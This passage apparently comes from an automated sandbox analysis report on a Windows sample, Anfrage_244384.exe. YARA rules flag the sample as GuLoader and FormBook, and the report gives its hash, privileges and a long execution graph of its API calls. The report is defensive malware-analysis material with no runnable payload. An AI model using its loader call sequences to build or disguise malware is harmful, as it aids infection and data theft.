                                                      • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1980580817.00000000048C3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                      Reputation:low
                                                      Has exited:true

                                                      General

                                                      Target ID:5
                                                      Start time:10:06:47
                                                      Start date:08/11/2024
                                                      Path:C:\Users\user\Desktop\Anfrage_244384.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Users\user\Desktop\Anfrage_244384.exe"
                                                      Imagebase:0x400000
                                                      File size:1'240'824 bytes
                                                      MD5 hash:B03F23199AE987A7BCE0FF1A0D742E3E
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2738186207.00000000342E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                      Reputation:low
                                                      Has exited:true

                                                      Disassembly

                                                      Reset < >

                                                        Execution Graph

                                                        Execution Coverage:22.8%
                                                        Dynamic/Decrypted Code Coverage:14.3%
                                                        Signature Coverage:21.5%
                                                        Total number of Nodes:1472
                                                        Total number of Limit Nodes:46
                                                        execution_graph 4730 10001000 4733 1000101b 4730->4733 4740 100014bb 4733->4740 4735 10001020 4736 10001024 4735->4736 4737 10001027 GlobalAlloc 4735->4737 4738 100014e2 3 API calls 4736->4738 4737->4736 4739 10001019 4738->4739 4742 100014c1 4740->4742 4741 100014c7 4741->4735 4742->4741 4743 100014d3 GlobalFree 4742->4743 4743->4735 4744 402241 4745 402ace 18 API calls 4744->4745 4746 402247 4745->4746 4747 402ace 18 API calls 4746->4747 4748 402250 4747->4748 4749 402ace 18 API calls 4748->4749 4750 402259 4749->4750 4751 4060c7 2 API calls 4750->4751 4752 402262 4751->4752 4753 402273 lstrlenA lstrlenA 4752->4753 4757 402266 4752->4757 4755 404fdc 25 API calls 4753->4755 4754 404fdc 25 API calls 4758 40226e 4754->4758 4756 4022af SHFileOperationA 4755->4756 4756->4757 4756->4758 4757->4754 4759 4022c3 4760 4022ca 4759->4760 4762 4022dd 4759->4762 4761 405de5 18 API calls 4760->4761 4763 4022d7 4761->4763 4764 4055b9 MessageBoxIndirectA 4763->4764 4764->4762 4162 401746 4163 402ace 18 API calls 4162->4163 4164 40174d 4163->4164 4165 405a65 2 API calls 4164->4165 4166 401754 4165->4166 4167 405a65 2 API calls 4166->4167 4167->4166 4765 4026c7 4766 4026cd 4765->4766 4767 4026d5 FindClose 4766->4767 4768 40295e 4766->4768 4767->4768 4769 401947 4770 402ace 18 API calls 4769->4770 4771 40194e lstrlenA 4770->4771 4772 40258a 4771->4772 4773 402749 4774 402ace 18 API calls 4773->4774 4775 402757 4774->4775 4776 40276d 4775->4776 4778 402ace 18 API calls 4775->4778 4777 405a11 2 API calls 4776->4777 4779 402773 4777->4779 4778->4776 4801 405a36 GetFileAttributesA CreateFileA 4779->4801 4781 402780 4782 402823 4781->4782 4783 40278c GlobalAlloc 4781->4783 4786 40282b DeleteFileA 4782->4786 4787 40283e 4782->4787 4784 4027a5 4783->4784 4785 40281a CloseHandle 4783->4785 4802 40315b SetFilePointer 4784->4802 4785->4782 4786->4787 4789 4027ab 4790 403145 ReadFile 4789->4790 4791 4027b4 GlobalAlloc 4790->4791 4792 4027c4 4791->4792 4793 4027f8 4791->4793 4795 402f33 32 API calls 4792->4795 4794 405add WriteFile 4793->4794 4796 402804 GlobalFree 4794->4796 4798 4027d1 4795->4798 4797 402f33 32 API calls 4796->4797 4800 402817 4797->4800 4799 4027ef GlobalFree 4798->4799 4799->4793 4800->4785 4801->4781 4802->4789 4185 1000270b 4186 1000275b 4185->4186 4187 1000271b VirtualProtect 4185->4187 4187->4186 4806 1000180d 4807 10001830 4806->4807 4808 10001860 GlobalFree 4807->4808 4809 10001872 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z __allrem 4807->4809 4808->4809 4810 10001266 2 API calls 4809->4810 4811 100019e3 GlobalFree GlobalFree 4810->4811 4812 4020cd 4813 402ace 18 API calls 4812->4813 4814 4020d4 4813->4814 4815 402ace 18 API calls 4814->4815 4816 4020de 4815->4816 4817 402ace 18 API calls 4816->4817 4818 4020e8 4817->4818 4819 402ace 18 API calls 4818->4819 4820 4020f2 4819->4820 4821 402ace 18 API calls 4820->4821 4822 4020fc 4821->4822 4823 40213b CoCreateInstance 4822->4823 4824 402ace 18 API calls 4822->4824 4825 402202 4823->4825 4828 40215a 4823->4828 4824->4823 4826 401423 25 API calls 4825->4826 4827 402238 4825->4827 4826->4827 4828->4825 4829 4021e2 MultiByteToWideChar 4828->4829 4829->4825 4198 404f50 4199 404f60 4198->4199 4200 404f74 4198->4200 4201 404f66 4199->4201 4202 404fbd 4199->4202 4203 404f7c IsWindowVisible 4200->4203 4209 404f9c 4200->4209 4205 403ff4 SendMessageA 4201->4205 4204 404fc2 CallWindowProcA 4202->4204 4203->4202 4206 404f89 4203->4206 4207 404f70 4204->4207 4205->4207 4212 4048a7 SendMessageA 4206->4212 4209->4204 4217 404927 4209->4217 4213 404906 SendMessageA 4212->4213 4214 4048ca GetMessagePos ScreenToClient SendMessageA 4212->4214 4216 4048fe 4213->4216 4215 404903 4214->4215 4214->4216 4215->4213 4216->4209 4226 405dc3 lstrcpynA 4217->4226 4219 40493a 4227 405d21 wsprintfA 4219->4227 4221 404944 4222 40140b 2 API calls 4221->4222 4223 40494d 4222->4223 4228 405dc3 lstrcpynA 4223->4228 4225 404954 4225->4202 4226->4219 4227->4221 4228->4225 4830 4028d2 4831 402aac 18 API calls 4830->4831 4832 4028d8 4831->4832 4833 40290d 4832->4833 4834 402729 4832->4834 4836 4028ea 4832->4836 4833->4834 4835 405de5 18 API calls 4833->4835 4835->4834 4836->4834 4838 405d21 wsprintfA 4836->4838 4838->4834 4245 4023d3 4246 4023d9 4245->4246 4247 402ace 18 API calls 4246->4247 4248 4023eb 4247->4248 4249 402ace 18 API calls 4248->4249 4250 4023f5 RegCreateKeyExA 4249->4250 4251 402729 4250->4251 4252 40241f 4250->4252 4253 402437 4252->4253 4255 402ace 18 API calls 4252->4255 4254 402443 4253->4254 4256 402aac 18 API calls 4253->4256 4257 402462 RegSetValueExA 4254->4257 4259 402f33 32 API calls 4254->4259 4258 402430 lstrlenA 4255->4258 4256->4254 4260 402478 RegCloseKey 4257->4260 4258->4253 4259->4257 4260->4251 4839 401cd4 4840 402aac 18 API calls 4839->4840 4841 401cda IsWindow 4840->4841 4842 401a0e 4841->4842 4262 403ad5 4263 403c28 4262->4263 4264 403aed 4262->4264 4266 403c79 4263->4266 4267 403c39 GetDlgItem GetDlgItem 4263->4267 4264->4263 4265 403af9 4264->4265 4269 403b04 SetWindowPos 4265->4269 4270 403b17 4265->4270 4268 403cd3 4266->4268 4279 401389 2 API calls 4266->4279 4271 403fa8 19 API calls 4267->4271 4272 403ff4 SendMessageA 4268->4272 4295 403c23 4268->4295 4269->4270 4273 403b34 4270->4273 4274 403b1c ShowWindow 4270->4274 4275 403c63 SetClassLongA 4271->4275 4306 403ce5 4272->4306 4276 403b56 4273->4276 4277 403b3c DestroyWindow 4273->4277 4274->4273 4278 40140b 2 API calls 4275->4278 4281 403b5b SetWindowLongA 4276->4281 4282 403b6c 4276->4282 4280 403f52 4277->4280 4278->4266 4283 403cab 4279->4283 4292 403f62 ShowWindow 4280->4292 4280->4295 4281->4295 4284 403c15 4282->4284 4285 403b78 GetDlgItem 4282->4285 4283->4268 4286 403caf SendMessageA 4283->4286 4342 40400f 4284->4342 4289 403ba8 4285->4289 4290 403b8b SendMessageA IsWindowEnabled 4285->4290 4286->4295 4287 40140b 2 API calls 4287->4306 4288 403f33 DestroyWindow EndDialog 4288->4280 4294 403bad 4289->4294 4296 403bb5 4289->4296 4298 403bfc SendMessageA 4289->4298 4299 403bc8 4289->4299 4290->4289 4290->4295 4292->4295 4293 405de5 18 API calls 4293->4306 4339 403f81 4294->4339 4296->4294 4296->4298 4298->4284 4301 403bd0 4299->4301 4302 403be5 4299->4302 4300 403be3 4300->4284 4305 40140b 2 API calls 4301->4305 4304 40140b 2 API calls 4302->4304 4303 403fa8 19 API calls 4303->4306 4307 403bec 4304->4307 4305->4294 4306->4287 4306->4288 4306->4293 4306->4295 4306->4303 4323 403e73 DestroyWindow 4306->4323 4333 403fa8 4306->4333 4307->4284 4307->4294 4309 403d60 GetDlgItem 4310 403d75 4309->4310 4311 403d7d ShowWindow KiUserCallbackDispatcher 4309->4311 4310->4311 4336 403fca EnableWindow 4311->4336 4313 403da7 EnableWindow 4316 403dbb 4313->4316 4314 403dc0 GetSystemMenu EnableMenuItem SendMessageA 4315 403df0 SendMessageA 4314->4315 4314->4316 4315->4316 4316->4314 4337 403fdd SendMessageA 4316->4337 4338 405dc3 lstrcpynA 4316->4338 4319 403e1e lstrlenA 4320 405de5 18 API calls 4319->4320 4321 403e2f SetWindowTextA 4320->4321 4322 401389 2 API calls 4321->4322 4322->4306 4323->4280 4324 403e8d CreateDialogParamA 4323->4324 4324->4280 4325 403ec0 4324->4325 4326 403fa8 19 API calls 4325->4326 4327 403ecb GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4326->4327 4328 401389 2 API calls 4327->4328 4329 403f11 4328->4329 4329->4295 4330 403f19 ShowWindow 4329->4330 4331 403ff4 SendMessageA 4330->4331 4332 403f31 4331->4332 4332->4280 4334 405de5 18 API calls 4333->4334 4335 403fb3 SetDlgItemTextA 4334->4335 4335->4309 4336->4313 4337->4316 4338->4319 4340 403f88 4339->4340 4341 403f8e SendMessageA 4339->4341 4340->4341 4341->4300 4343 4040b0 4342->4343 4344 404027 GetWindowLongA 4342->4344 4343->4295 4344->4343 4345 404038 4344->4345 4346 404047 GetSysColor 4345->4346 4347 40404a 4345->4347 4346->4347 4348 404050 SetTextColor 4347->4348 4349 40405a SetBkMode 4347->4349 4348->4349 4350 404072 GetSysColor 4349->4350 4351 404078 4349->4351 4350->4351 4352 404089 4351->4352 4353 40407f SetBkColor 4351->4353 4352->4343 4354 4040a3 CreateBrushIndirect 4352->4354 4355 40409c DeleteObject 4352->4355 4353->4352 4354->4343 4355->4354 4843 4014d6 4844 402aac 18 API calls 4843->4844 4845 4014dc Sleep 4844->4845 4847 40295e 4845->4847 4375 4025d7 4376 402aac 18 API calls 4375->4376 4381 4025e1 4376->4381 4377 40264f 4378 405aae ReadFile 4378->4381 4379 402651 4384 405d21 wsprintfA 4379->4384 4380 402661 4380->4377 4383 402677 SetFilePointer 4380->4383 4381->4377 4381->4378 4381->4379 4381->4380 4383->4377 4384->4377 4408 404959 GetDlgItem GetDlgItem 4409 4049ab 7 API calls 4408->4409 4416 404bc3 4408->4416 4410 404a41 SendMessageA 4409->4410 4411 404a4e DeleteObject 4409->4411 4410->4411 4412 404a57 4411->4412 4414 404a8e 4412->4414 4415 405de5 18 API calls 4412->4415 4413 404ca7 4419 404d53 4413->4419 4425 404f3b 4413->4425 4430 404d00 SendMessageA 4413->4430 4418 403fa8 19 API calls 4414->4418 4420 404a70 SendMessageA SendMessageA 4415->4420 4416->4413 4417 404c88 4416->4417 4423 404c23 4416->4423 4417->4413 4427 404c99 SendMessageA 4417->4427 4424 404aa2 4418->4424 4421 404d65 4419->4421 4422 404d5d SendMessageA 4419->4422 4420->4412 4432 404d77 ImageList_Destroy 4421->4432 4433 404d7e 4421->4433 4449 404d8e 4421->4449 4422->4421 4428 4048a7 5 API calls 4423->4428 4429 403fa8 19 API calls 4424->4429 4426 40400f 8 API calls 4425->4426 4431 404f49 4426->4431 4427->4413 4454 404c34 4428->4454 4434 404ab0 4429->4434 4430->4425 4436 404d15 SendMessageA 4430->4436 4432->4433 4437 404d87 GlobalFree 4433->4437 4433->4449 4438 404b84 GetWindowLongA SetWindowLongA 4434->4438 4445 404b7e 4434->4445 4448 404aff SendMessageA 4434->4448 4450 404b3b SendMessageA 4434->4450 4451 404b4c SendMessageA 4434->4451 4435 404efd 4435->4425 4440 404f0f ShowWindow GetDlgItem ShowWindow 4435->4440 4439 404d28 4436->4439 4437->4449 4441 404b9d 4438->4441 4444 404d39 SendMessageA 4439->4444 4440->4425 4442 404ba3 ShowWindow 4441->4442 4443 404bbb 4441->4443 4463 403fdd SendMessageA 4442->4463 4464 403fdd SendMessageA 4443->4464 4444->4419 4445->4438 4445->4441 4448->4434 4449->4435 4452 404927 4 API calls 4449->4452 4459 404dc9 4449->4459 4450->4434 4451->4434 4452->4459 4453 404bb6 4453->4425 4454->4417 4455 404ed3 InvalidateRect 4455->4435 4456 404ee9 4455->4456 4465 404862 4456->4465 4457 404df7 SendMessageA 4458 404e0d 4457->4458 4458->4455 4460 404e6e 4458->4460 4462 404e81 SendMessageA SendMessageA 4458->4462 4459->4457 4459->4458 4460->4462 4462->4458 4463->4453 4464->4416 4468 40479d 4465->4468 4467 404877 4467->4435 4469 4047b3 4468->4469 4470 405de5 18 API calls 4469->4470 4471 404817 4470->4471 4472 405de5 18 API calls 4471->4472 4473 404822 4472->4473 4474 405de5 18 API calls 4473->4474 4475 404838 lstrlenA wsprintfA SetDlgItemTextA 4474->4475 4475->4467 4476 401759 4477 402ace 18 API calls 4476->4477 4478 401760 4477->4478 4479 401786 4478->4479 4480 40177e 4478->4480 4517 405dc3 lstrcpynA 4479->4517 4516 405dc3 lstrcpynA 4480->4516 4483 401784 4487 40602e 5 API calls 4483->4487 4484 401791 4485 405835 3 API calls 4484->4485 4486 401797 lstrcatA 4485->4486 4486->4483 4509 4017a3 4487->4509 4488 4060c7 2 API calls 4488->4509 4489 4017e4 4490 405a11 2 API calls 4489->4490 4490->4509 4492 4017ba CompareFileTime 4492->4509 4493 40187e 4495 404fdc 25 API calls 4493->4495 4494 401855 4496 404fdc 25 API calls 4494->4496 4503 40186a 4494->4503 4497 401888 4495->4497 4496->4503 4498 402f33 32 API calls 4497->4498 4499 40189b 4498->4499 4500 4018af SetFileTime 4499->4500 4502 4018c1 CloseHandle 4499->4502 4500->4502 4501 405de5 18 API calls 4501->4509 4502->4503 4504 4018d2 4502->4504 4506 4018d7 4504->4506 4507 4018ea 4504->4507 4505 405dc3 lstrcpynA 4505->4509 4510 405de5 18 API calls 4506->4510 4508 405de5 18 API calls 4507->4508 4511 4018f2 4508->4511 4509->4488 4509->4489 4509->4492 4509->4493 4509->4494 4509->4501 4509->4505 4512 4055b9 MessageBoxIndirectA 4509->4512 4515 405a36 GetFileAttributesA CreateFileA 4509->4515 4513 4018df lstrcatA 4510->4513 4514 4055b9 MessageBoxIndirectA 4511->4514 4512->4509 4513->4511 4514->4503 4515->4509 4516->4483 4517->4484 4848 401659 4849 402ace 18 API calls 4848->4849 4850 40165f 4849->4850 4851 4060c7 2 API calls 4850->4851 4852 401665 4851->4852 4853 401e59 4854 402ace 18 API calls 4853->4854 4855 401e5f 4854->4855 4856 402ace 18 API calls 4855->4856 4857 401e68 4856->4857 4858 402ace 18 API calls 4857->4858 4859 401e71 4858->4859 4860 402ace 18 API calls 4859->4860 4861 401e7a 4860->4861 4862 401423 25 API calls 4861->4862 4863 401e81 ShellExecuteA 4862->4863 4864 401eae 4863->4864 4865 401959 4866 402aac 18 API calls 4865->4866 4867 401960 4866->4867 4868 402aac 18 API calls 4867->4868 4869 40196d 4868->4869 4870 402ace 18 API calls 4869->4870 4871 401984 lstrlenA 4870->4871 4872 401994 4871->4872 4873 4019d4 4872->4873 4877 405dc3 lstrcpynA 4872->4877 4875 4019c4 4875->4873 4876 4019c9 lstrlenA 4875->4876 4876->4873 4877->4875 4878 1000161a 4879 10001649 4878->4879 4880 10001a5d 18 API calls 4879->4880 4881 10001650 4880->4881 4882 10001663 4881->4882 4883 10001657 4881->4883 4885 1000168a 4882->4885 4886 1000166d 4882->4886 4884 10001266 2 API calls 4883->4884 4889 10001661 4884->4889 4887 10001690 4885->4887 4888 100016b4 4885->4888 4890 100014e2 3 API calls 4886->4890 4891 10001559 3 API calls 4887->4891 4892 100014e2 3 API calls 4888->4892 4893 10001672 4890->4893 4894 10001695 4891->4894 4892->4889 4895 10001559 3 API calls 4893->4895 4896 10001266 2 API calls 4894->4896 4897 10001678 4895->4897 4899 1000169b GlobalFree 4896->4899 4898 10001266 2 API calls 4897->4898 4900 1000167e GlobalFree 4898->4900 4899->4889 4901 100016af GlobalFree 4899->4901 4900->4889 4901->4889 4902 401b5d 4903 401b6a 4902->4903 4904 401bae 4902->4904 4910 401bf2 4903->4910 4911 401b81 4903->4911 4905 401bd7 GlobalAlloc 4904->4905 4908 401bb2 4904->4908 4906 405de5 18 API calls 4905->4906 4906->4910 4907 405de5 18 API calls 4912 4022d7 4907->4912 4916 4022dd 4908->4916 4923 405dc3 lstrcpynA 4908->4923 4910->4907 4910->4916 4921 405dc3 lstrcpynA 4911->4921 4915 4055b9 MessageBoxIndirectA 4912->4915 4913 401bc4 GlobalFree 4913->4916 4915->4916 4917 401b90 4922 405dc3 lstrcpynA 4917->4922 4919 401b9f 4924 405dc3 lstrcpynA 4919->4924 4921->4917 4922->4919 4923->4913 4924->4916 4925 401f5d 4926 402ace 18 API calls 4925->4926 4927 401f64 4926->4927 4928 40615c 5 API calls 4927->4928 4929 401f73 4928->4929 4930 401f8b GlobalAlloc 4929->4930 4933 401ff3 4929->4933 4931 401f9f 4930->4931 4930->4933 4932 40615c 5 API calls 4931->4932 4934 401fa6 4932->4934 4935 40615c 5 API calls 4934->4935 4936 401fb0 4935->4936 4936->4933 4940 405d21 wsprintfA 4936->4940 4938 401fe7 4941 405d21 wsprintfA 4938->4941 4940->4938 4941->4933 4942 401a5e 4943 402aac 18 API calls 4942->4943 4944 401a64 4943->4944 4945 402aac 18 API calls 4944->4945 4946 401a0e 4945->4946 4947 4026e1 4948 4026e7 4947->4948 4949 4026eb FindNextFileA 4948->4949 4951 4026fd 4948->4951 4950 40273c 4949->4950 4949->4951 4953 405dc3 lstrcpynA 4950->4953 4953->4951 4954 4043e6 4955 404412 4954->4955 4956 404423 4954->4956 5015 40559d GetDlgItemTextA 4955->5015 4958 40442f GetDlgItem 4956->4958 4965 40448e 4956->4965 4961 404443 4958->4961 4959 404572 4964 40471c 4959->4964 5017 40559d GetDlgItemTextA 4959->5017 4960 40441d 4962 40602e 5 API calls 4960->4962 4963 404457 SetWindowTextA 4961->4963 4967 4058ce 4 API calls 4961->4967 4962->4956 4968 403fa8 19 API calls 4963->4968 4971 40400f 8 API calls 4964->4971 4965->4959 4965->4964 4969 405de5 18 API calls 4965->4969 4973 40444d 4967->4973 4974 404473 4968->4974 4975 404502 SHBrowseForFolderA 4969->4975 4970 4045a2 4976 405923 18 API calls 4970->4976 4972 404730 4971->4972 4973->4963 4980 405835 3 API calls 4973->4980 4977 403fa8 19 API calls 4974->4977 4975->4959 4978 40451a CoTaskMemFree 4975->4978 4979 4045a8 4976->4979 4981 404481 4977->4981 4982 405835 3 API calls 4978->4982 5018 405dc3 lstrcpynA 4979->5018 4980->4963 5016 403fdd SendMessageA 4981->5016 4984 404527 4982->4984 4987 40455e SetDlgItemTextA 4984->4987 4991 405de5 18 API calls 4984->4991 4986 404487 4989 40615c 5 API calls 4986->4989 4987->4959 4988 4045bf 4990 40615c 5 API calls 4988->4990 4989->4965 4997 4045c6 4990->4997 4992 404546 lstrcmpiA 4991->4992 4992->4987 4995 404557 lstrcatA 4992->4995 4993 404602 5019 405dc3 lstrcpynA 4993->5019 4995->4987 4996 404609 4998 4058ce 4 API calls 4996->4998 4997->4993 5001 40587c 2 API calls 4997->5001 5003 40465a 4997->5003 4999 40460f GetDiskFreeSpaceA 4998->4999 5002 404633 MulDiv 4999->5002 4999->5003 5001->4997 5002->5003 5004 4046cb 5003->5004 5006 404862 21 API calls 5003->5006 5005 4046ee 5004->5005 5007 40140b 2 API calls 5004->5007 5020 403fca EnableWindow 5005->5020 5008 4046b8 5006->5008 5007->5005 5010 4046cd SetDlgItemTextA 5008->5010 5011 4046bd 5008->5011 5010->5004 5013 40479d 21 API calls 5011->5013 5012 40470a 5012->4964 5021 40437b 5012->5021 5013->5004 5015->4960 5016->4986 5017->4970 5018->4988 5019->4996 5020->5012 5022 404389 5021->5022 5023 40438e SendMessageA 5021->5023 5022->5023 5023->4964 4168 40166a 4169 402ace 18 API calls 4168->4169 4170 401671 4169->4170 4171 402ace 18 API calls 4170->4171 4172 40167a 4171->4172 4173 402ace 18 API calls 4172->4173 4174 401683 MoveFileA 4173->4174 4175 401696 4174->4175 4181 40168f 4174->4181 4177 4060c7 2 API calls 4175->4177 4179 402238 4175->4179 4178 4016a5 4177->4178 4178->4179 4180 405c7e 38 API calls 4178->4180 4180->4181 4182 401423 4181->4182 4183 404fdc 25 API calls 4182->4183 4184 401431 4183->4184 4184->4179 5024 4019ed 5025 402ace 18 API calls 5024->5025 5026 4019f4 5025->5026 5027 402ace 18 API calls 5026->5027 5028 4019fd 5027->5028 5029 401a04 lstrcmpiA 5028->5029 5030 401a16 lstrcmpA 5028->5030 5031 401a0a 5029->5031 5030->5031 5032 40256e 5033 402ace 18 API calls 5032->5033 5034 402575 5033->5034 5037 405a36 GetFileAttributesA CreateFileA 5034->5037 5036 402581 5037->5036 5038 4040f1 5039 404107 5038->5039 5043 404213 5038->5043 5041 403fa8 19 API calls 5039->5041 5040 404282 5042 40428c GetDlgItem 5040->5042 5044 404356 5040->5044 5045 40415d 5041->5045 5046 4042a2 5042->5046 5047 404314 5042->5047 5043->5040 5043->5044 5048 404257 GetDlgItem SendMessageA 5043->5048 5049 40400f 8 API calls 5044->5049 5050 403fa8 19 API calls 5045->5050 5046->5047 5055 4042c8 6 API calls 5046->5055 5047->5044 5051 404326 5047->5051 5069 403fca EnableWindow 5048->5069 5053 404351 5049->5053 5054 40416a CheckDlgButton 5050->5054 5056 40432c SendMessageA 5051->5056 5057 40433d 5051->5057 5067 403fca EnableWindow 5054->5067 5055->5047 5056->5057 5057->5053 5060 404343 SendMessageA 5057->5060 5058 40427d 5061 40437b SendMessageA 5058->5061 5060->5053 5061->5040 5062 404188 GetDlgItem 5068 403fdd SendMessageA 5062->5068 5064 40419e SendMessageA 5065 4041c5 SendMessageA SendMessageA lstrlenA SendMessageA SendMessageA 5064->5065 5066 4041bc GetSysColor 5064->5066 5065->5053 5066->5065 5067->5062 5068->5064 5069->5058 4229 4022f2 4230 4022fa 4229->4230 4235 402300 4229->4235 4231 402ace 18 API calls 4230->4231 4231->4235 4232 402ace 18 API calls 4234 402310 4232->4234 4233 40231e 4237 402ace 18 API calls 4233->4237 4234->4233 4236 402ace 18 API calls 4234->4236 4235->4232 4235->4234 4236->4233 4238 402327 WritePrivateProfileStringA 4237->4238 5070 100015b3 5071 100014bb GlobalFree 5070->5071 5073 100015cb 5071->5073 5072 10001611 GlobalFree 5073->5072 5074 100015e6 5073->5074 5075 100015fd VirtualFree 5073->5075 5074->5072 5075->5072 5076 4014f4 SetForegroundWindow 5077 40295e 5076->5077 4356 4024f5 4357 402bd8 19 API calls 4356->4357 4358 4024ff 4357->4358 4359 402aac 18 API calls 4358->4359 4360 402508 4359->4360 4361 402523 RegEnumKeyA 4360->4361 4362 40252f RegEnumValueA 4360->4362 4364 402729 4360->4364 4363 402548 RegCloseKey 4361->4363 4362->4363 4362->4364 4363->4364 5078 401cf5 5079 402aac 18 API calls 5078->5079 5080 401cfc 5079->5080 5081 402aac 18 API calls 5080->5081 5082 401d08 GetDlgItem 5081->5082 5083 40258a 5082->5083 4385 402377 4386 4023a7 4385->4386 4387 40237c 4385->4387 4389 402ace 18 API calls 4386->4389 4388 402bd8 19 API calls 4387->4388 4390 402383 4388->4390 4391 4023ae 4389->4391 4392 40238d 4390->4392 4396 4023c4 4390->4396 4397 402b0e RegOpenKeyExA 4391->4397 4393 402ace 18 API calls 4392->4393 4395 402394 RegDeleteValueA RegCloseKey 4393->4395 4395->4396 4398 402ba2 4397->4398 4406 402b39 4397->4406 4398->4396 4399 402b5f RegEnumKeyA 4400 402b71 RegCloseKey 4399->4400 4399->4406 4401 40615c 5 API calls 4400->4401 4404 402b81 4401->4404 4402 402b96 RegCloseKey 4405 402b85 4402->4405 4403 402b0e 5 API calls 4403->4406 4404->4405 4407 402bb1 RegDeleteKeyA 4404->4407 4405->4398 4406->4399 4406->4400 4406->4402 4406->4403 4407->4405 5084 1000103d 5085 1000101b 5 API calls 5084->5085 5086 10001056 5085->5086 5087 4018fd 5088 401934 5087->5088 5089 402ace 18 API calls 5088->5089 5090 401939 5089->5090 5091 405665 69 API calls 5090->5091 5092 401942 5091->5092 4548 401fff 4549 402011 4548->4549 4550 4020bf 4548->4550 4551 402ace 18 API calls 4549->4551 4552 401423 25 API calls 4550->4552 4553 402018 4551->4553 4558 402238 4552->4558 4554 402ace 18 API calls 4553->4554 4555 402021 4554->4555 4556 402036 LoadLibraryExA 4555->4556 4557 402029 GetModuleHandleA 4555->4557 4556->4550 4559 402046 GetProcAddress 4556->4559 4557->4556 4557->4559 4560 402092 4559->4560 4561 402055 4559->4561 4564 404fdc 25 API calls 4560->4564 4562 402074 4561->4562 4563 40205d 4561->4563 4569 100016bd 4562->4569 4565 401423 25 API calls 4563->4565 4566 402065 4564->4566 4565->4566 4566->4558 4567 4020b3 FreeLibrary 4566->4567 4567->4558 4570 100016ed 4569->4570 4611 10001a5d 4570->4611 4572 100016f4 4573 1000180a 4572->4573 4574 10001705 4572->4574 4575 1000170c 4572->4575 4573->4566 4660 100021b0 4574->4660 4643 100021fa 4575->4643 4580 10001770 4584 100017b2 4580->4584 4585 10001776 4580->4585 4581 10001752 4673 100023da 4581->4673 4582 10001722 4587 10001728 4582->4587 4592 10001733 4582->4592 4583 1000173b 4594 10001731 4583->4594 4670 10002aa3 4583->4670 4590 100023da 11 API calls 4584->4590 4588 10001559 3 API calls 4585->4588 4587->4594 4654 100027e8 4587->4654 4596 1000178c 4588->4596 4601 100017a4 4590->4601 4591 10001758 4684 10001559 4591->4684 4664 10002589 4592->4664 4594->4580 4594->4581 4599 100023da 11 API calls 4596->4599 4598 10001739 4598->4594 4599->4601 4602 100017f9 4601->4602 4695 100023a0 4601->4695 4602->4573 4605 10001803 GlobalFree 4602->4605 4605->4573 4608 100017e5 4608->4602 4699 100014e2 wsprintfA 4608->4699 4609 100017de FreeLibrary 4609->4608 4702 10001215 GlobalAlloc 4611->4702 4613 10001a81 4703 10001215 GlobalAlloc 4613->4703 4615 10001cbb GlobalFree GlobalFree GlobalFree 4616 10001cd8 4615->4616 4635 10001d22 4615->4635 4617 1000201a 4616->4617 4625 10001ced 4616->4625 4616->4635 4619 1000203c GetModuleHandleA 4617->4619 4617->4635 4618 10001b60 GlobalAlloc 4639 10001a8c 4618->4639 4622 10002062 4619->4622 4623 1000204d LoadLibraryA 4619->4623 4620 10001bab lstrcpyA 4626 10001bb5 lstrcpyA 4620->4626 4621 10001bc9 GlobalFree 4621->4639 4710 100015a4 GetProcAddress 4622->4710 4623->4622 4623->4635 4625->4635 4706 10001224 4625->4706 4626->4639 4627 100020b3 4629 100020c0 lstrlenA 4627->4629 4627->4635 4628 10001f7a 4634 10001fbe lstrcpyA 4628->4634 4628->4635 4711 100015a4 GetProcAddress 4629->4711 4631 10002074 4631->4627 4642 1000209d GetProcAddress 4631->4642 4634->4635 4635->4572 4636 10001c07 4636->4639 4704 10001534 GlobalSize GlobalAlloc 4636->4704 4637 10001e75 GlobalFree 4637->4639 4638 100020d9 4638->4635 4639->4615 4639->4618 4639->4620 4639->4621 4639->4626 4639->4628 4639->4635 4639->4636 4639->4637 4641 10001224 2 API calls 4639->4641 4709 10001215 GlobalAlloc 4639->4709 4641->4639 4642->4627 4645 10002212 4643->4645 4644 10001224 GlobalAlloc lstrcpynA 4644->4645 4645->4644 4647 10002349 GlobalFree 4645->4647 4648 100022b9 GlobalAlloc MultiByteToWideChar 4645->4648 4649 1000230a lstrlenA 4645->4649 4713 100012ad 4645->4713 4647->4645 4650 10001712 4647->4650 4651 10002303 4648->4651 4652 100022e3 GlobalAlloc CLSIDFromString GlobalFree 4648->4652 4649->4647 4649->4651 4650->4582 4650->4583 4650->4594 4651->4647 4717 1000251d 4651->4717 4652->4647 4656 100027fa 4654->4656 4655 1000289f SetFilePointer 4657 100028bd 4655->4657 4656->4655 4658 100029b9 4657->4658 4659 100029ae GetLastError 4657->4659 4658->4594 4659->4658 4661 100021c0 4660->4661 4663 1000170b 4660->4663 4662 100021d2 GlobalAlloc 4661->4662 4661->4663 4662->4661 4663->4575 4668 100025a5 4664->4668 4665 100025f6 GlobalAlloc 4669 10002618 4665->4669 4666 10002609 4667 1000260e GlobalSize 4666->4667 4666->4669 4667->4669 4668->4665 4668->4666 4669->4598 4671 10002aae 4670->4671 4672 10002aee GlobalFree 4671->4672 4720 10001215 GlobalAlloc 4673->4720 4675 100023e6 4676 1000243a lstrcpynA 4675->4676 4677 1000244b StringFromGUID2 WideCharToMultiByte 4675->4677 4678 1000246f WideCharToMultiByte 4675->4678 4679 10002490 wsprintfA 4675->4679 4680 100024b4 GlobalFree 4675->4680 4681 100024ee GlobalFree 4675->4681 4682 10001266 2 API calls 4675->4682 4721 100012d1 4675->4721 4676->4675 4677->4675 4678->4675 4679->4675 4680->4675 4681->4591 4682->4675 4725 10001215 GlobalAlloc 4684->4725 4686 1000155f 4688 10001586 4686->4688 4689 1000156c lstrcpyA 4686->4689 4690 100015a0 4688->4690 4691 1000158b wsprintfA 4688->4691 4689->4690 4692 10001266 4690->4692 4691->4690 4693 100012a8 GlobalFree 4692->4693 4694 1000126f GlobalAlloc lstrcpynA 4692->4694 4693->4601 4694->4693 4696 100023ae 4695->4696 4698 100017c5 4695->4698 4697 100023c7 GlobalFree 4696->4697 4696->4698 4697->4696 